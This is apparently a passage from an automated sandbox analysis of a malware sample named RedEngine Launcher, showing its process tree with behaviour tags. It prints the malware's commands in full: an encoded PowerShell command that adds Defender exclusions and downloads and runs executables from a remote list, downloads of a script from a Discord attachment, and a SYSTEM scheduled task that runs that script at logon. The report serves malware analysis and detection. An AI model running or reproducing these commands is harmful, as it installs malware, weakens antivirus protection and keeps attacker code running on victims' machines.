- Suspicious behavior: EnumeratesProcesses
PID:2832

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:3044

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:540

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1592

C:\Users\Admin\AppData\Roaming\vlyixe2m.igg0.exe
"C:\Users\Admin\AppData\Roaming\vlyixe2m.igg0.exe"
4⤵
- Executes dropped EXE
PID:5256

C:\Users\Admin\AppData\Roaming\vlyixe2m.igg1.exe
"C:\Users\Admin\AppData\Roaming\vlyixe2m.igg1.exe"
4⤵
- Executes dropped EXE
PID:5308

C:\Users\Admin\AppData\Roaming\vlyixe2m.igg2.exe
"C:\Users\Admin\AppData\Roaming\vlyixe2m.igg2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:5340

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\68A9.tmp\68AA.tmp\68AB.bat C:\Users\Admin\AppData\Roaming\vlyixe2m.igg2.exe"
5⤵
PID:5400

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:5408

C:\Windows\system32\where.exe
where node
6⤵
PID:5452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5468

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:5256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:3972

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:1576

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5044

C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu0.exe
"C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu0.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2548

C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu1.exe
"C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu1.exe"
4⤵
- Executes dropped EXE
PID:2316

C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu2.exe
"C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:732

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2A29.tmp\2A2A.tmp\2A2B.bat C:\Users\Admin\AppData\Roaming\ljdnbvmc.shu2.exe"
5⤵
PID:4900

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:3336

C:\Windows\system32\where.exe
where node
6⤵
PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2424

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:5620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:404

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:5736

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:3020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3692

C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv0.exe
"C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv0.exe"
4⤵
- Executes dropped EXE
PID:1388

C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv1.exe
"C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv1.exe"
4⤵
- Executes dropped EXE
PID:5032

C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv2.exe
"C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:1416

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\58BB.tmp\58BC.tmp\58BD.bat C:\Users\Admin\AppData\Roaming\fto5nvwj.zhv2.exe"
5⤵
PID:2856

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2776

C:\Windows\system32\where.exe
where node
6⤵
PID:2368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3980

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:5452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:1164

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:5636

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4116

C:\Users\Admin\AppData\Roaming\41j2jner.kc10.exe
"C:\Users\Admin\AppData\Roaming\41j2jner.kc10.exe"
4⤵
- Executes dropped EXE
PID:3076

C:\Users\Admin\AppData\Roaming\41j2jner.kc11.exe
"C:\Users\Admin\AppData\Roaming\41j2jner.kc11.exe"
4⤵
- Executes dropped EXE
PID:5372

C:\Users\Admin\AppData\Roaming\41j2jner.kc12.exe
"C:\Users\Admin\AppData\Roaming\41j2jner.kc12.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:5544

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8B45.tmp\8B46.tmp\8B47.bat C:\Users\Admin\AppData\Roaming\41j2jner.kc12.exe"
5⤵
PID:4564

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:5680

C:\Windows\system32\where.exe
where node
6⤵
PID:5872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1356

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:3640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:5800

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:5044

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4284

C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp0.exe
"C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp0.exe"
4⤵
- Executes dropped EXE
PID:5960

C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp1.exe
"C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp1.exe"
4⤵
- Executes dropped EXE
PID:6012

C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp2.exe
"C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:6044

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7EE1.tmp\7EE2.tmp\7EE3.bat C:\Users\Admin\AppData\Roaming\djxb4j1r.uvp2.exe"
5⤵
PID:6104

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:6112

C:\Windows\system32\where.exe
where node
6⤵
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5140

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
